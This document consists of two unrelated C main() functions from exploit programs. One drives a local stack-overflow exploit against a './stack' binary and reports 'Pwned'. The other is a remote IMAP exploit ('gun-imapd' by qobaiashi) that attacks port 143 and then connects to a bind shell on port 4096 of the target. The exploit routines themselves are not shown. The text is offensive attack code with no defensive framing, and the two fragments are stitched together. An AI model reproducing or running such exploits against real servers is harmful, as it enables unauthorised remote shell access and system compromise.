int main(int argc, char **argv) { if (argc > 1 && !strcmp(argv[1], "-r")) { do_sploit(STDOUT_FILENO); return 0; } else { int subprocess; if ((subprocess = fork_subproc("./stack")) == -1) { fprintf(stderr, "[-] Failed to execute subprocess.\n"); return 1; } do_sploit(subprocess); if (forward_io(subprocess)) { fprintf(stderr, "[+] Pwned.\n"); return 0; } else { fprintf(stderr, "[-] Failed to pwn.\n"); return 1; } } }
int main(int argc, char *argv[]) { int tmp, socke, port = 143; char *target = 0; char banner[32]; printf(" . gun-imapd v0.1 by qobaiashi\n |\n"); memset(banner, 0x00, sizeof(banner)); while((tmp = getopt(argc, argv, "p:t:h")) != EOF) { switch (tmp) { case 'p': port = atoi(optarg); printf(" |- using port: %d\n", port); break; case 't': target = optarg; printf(" |- target host is: %s\n", optarg); break; case 'h': help(); } } if (target == NULL) help(); socke = connectme(target, port); if (read(socke, banner, sizeof(banner)) > -1) { printf(" |- remote host is a %s", (banner+4)); } do_sploit(socke); sleep(1); tmp = connectme(target, 4096); handleshell(tmp); close(tmp); close(socke); }